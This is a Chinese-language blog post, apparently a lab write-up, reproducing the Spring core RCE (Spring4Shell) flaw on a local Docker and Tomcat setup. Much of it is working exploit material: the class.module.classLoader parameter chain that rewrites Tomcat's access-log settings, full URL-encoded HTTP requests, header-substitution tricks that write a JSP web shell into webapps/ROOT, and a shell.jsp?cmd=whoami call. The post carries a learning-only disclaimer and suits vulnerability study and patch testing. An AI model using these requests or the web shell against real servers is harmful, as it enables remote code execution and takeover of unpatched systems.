漏洞复现 – Spring core rce 排坑小结

仅作为漏洞复现进行学习,切勿对网站进行非法测试,由于漏洞存在较大危害性,截图均进行打码操作

漏洞描述

Spring core 是 Spring 系列产品中用来负责发现、创建并处理 bean 之间的关系的一个工具包,是一个包含 Spring 框架基本的核心工具包

本次漏洞在 Spring 框架的 JDK9 版本(及以上版本)中,远程攻击者可在满足特定条件的基础上,通过框架的参数绑定功能获取 AccessLogValve 对象并诸如恶意字段值,从而触发 pipeline 机制并写入任意路径下的文件。

所需条件

1、使用 JDK9 及以上版本的 Spring MVC 框架

2、Spring 框架以及衍生的框架 spring-beans-*.jar 文件或者存在 CachedIntrospectionResults.class

环境搭建

1、拉取 docker 快速搭建

docker pull vulfocus/spring-core-rce-2022-03-29
docker run -d -p 18001:8080 vulfocus/spring-core-rce-2022-03-29
sudo service docker restart

2、tomcat 下部署 war 包,通过 start.bat 进行启动

图片[1]-漏洞复现 – Spring core rce 排坑小结-XSS博客

搭建成功后访问 8080 端口

图片[2]-漏洞复现 – Spring core rce 排坑小结-XSS博客

漏洞复现

通过文章分析来看,这个漏洞是利⽤ class 对象进行利⽤链构造了,通过修改 Tomcat 的日志配置,向日志中写⼊ shell

发送五个 class 请求实现修改日志配置的效果

图片[3]-漏洞复现 – Spring core rce 排坑小结-XSS博客

接着通过发送任意请求进行触发,记录到日志文件中,成功写入 shell

图片[4]-漏洞复现 – Spring core rce 排坑小结-XSS博客

按着文章进行复现,这里可以用 & 进行拼接,合并成一个数据包进行发送

这里写入文件的路径可以是相对或绝对路径,tomcat 起的一般都会有 webapps/ROOT 这个目录,因此我们把文件写到这个目录下

图片[5]-漏洞复现 – Spring core rce 排坑小结-XSS博客

接着通过发送 payload 进行 shell 的写入,接着执行命令的时候开始报错了

图片[6]-漏洞复现 – Spring core rce 排坑小结-XSS博客

排查发现我们写入的内容里双引号前面加了反斜杠,导致我们的命令无法正常执行

<%Runtime.getRuntime().exec(request.getParameter("cmd"))%>   #文章截图写入的内容
<%Runtime.getRuntime().exec(request.getParameter(\"cmd\"))%>   #实际写入的内容

一开始以为是我内容写错了,又尝试了好几遍,但发现还是会在双引号前加上反斜杠

那如果是在请求 class.module.classLoader.resources.context.parent.pipeline.first.pattern 里直接写入内容呢

这时候发现双引号前面没有反斜杠了,取而代之的是 % 变成了???

图片[7]-漏洞复现 – Spring core rce 排坑小结-XSS博客

这时候刚好 exp.py 出来了,查看代码发现可以进行关键字符替代,相当于是变成下面这个样子

<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
a: Runtime
b: <%
c: %>
%{a}i%{b}i.getRuntime().exec(request.getParameter("cmd"));%{c}i

把 payload 进行 url 编码后进行发送,这次成功写入我们想要的内容

图片[8]-漏洞复现 – Spring core rce 排坑小结-XSS博客

成功执行命令,弹出计算器,但这个命令是不回显的

图片[9]-漏洞复现 – Spring core rce 排坑小结-XSS博客

由于 exp.py 使用了 20 多遍,只成功了 1 次(指的是在当前 windows 复现环境下,docker 拉取全成功)这里对 exp 进行还原

这时候就可以回显结果

图片[10]-漏洞复现 – Spring core rce 排坑小结-XSS博客

修改 Tomcat 的日志配置,向日志中写⼊ shell

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{x}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp class.module.classLoader.resources.context.parent.pipeline.first.directory=路径(绝对/相对)
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

按照 pdf 复现不成功的

GET /stupidRumor_war/index?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7b%66%75%63%6b%7d%69&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=%77%65%62%61%70%70%73%2f%72%6f%6f%74&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=3889FB0765EF31079360491ABA0F4485
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
GET /stupidRumor_war/index HTTP/1.1 
Host: 127.0.0.1:8080 
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 
x: <%Runtime.getRuntime().exec(request.getParameter("cmd"))%> 
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 
Accept-Encoding: gzip, deflate 
Connection: close 
Upgrade-Insecure-Requests: 1 
Sec-Fetch-Dest: document 
Sec-Fetch-Mode: navigate 
Sec-Fetch-Site: none 
Sec-Fetch-User: ?1

管道符拼接成功复现

<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

suffix: %>
c1: Runtime
c2: <%
%{c2}i%{c1}i.getRuntime().exec(request.getParameter("cmd"));%{suffix}i
GET /stupidRumor_war/index?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7b%63%32%7d%69%25%7b%63%31%7d%69%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6d%64%22%29%29%3b%25%7b%73%75%66%66%69%78%7d%69&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
suffix: %>
c1: Runtime
c2: <%
DNT: 1
Content-Type: application/x-www-form-urlencoded
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=3889FB0765EF31079360491ABA0F4485
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Length: 2

http://127.0.0.1:8080/shell.jsp?cmd=whoami

漏洞限制

1、需要确认漏洞利用点

2、漏洞利用过后,再次利用日志配置更改需要重启 tomcat

3、发起请求会导致写入大量数据,系统可能会因此挂掉

© 版权声明
THE END
喜欢就支持一下吧
点赞13 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    暂无评论内容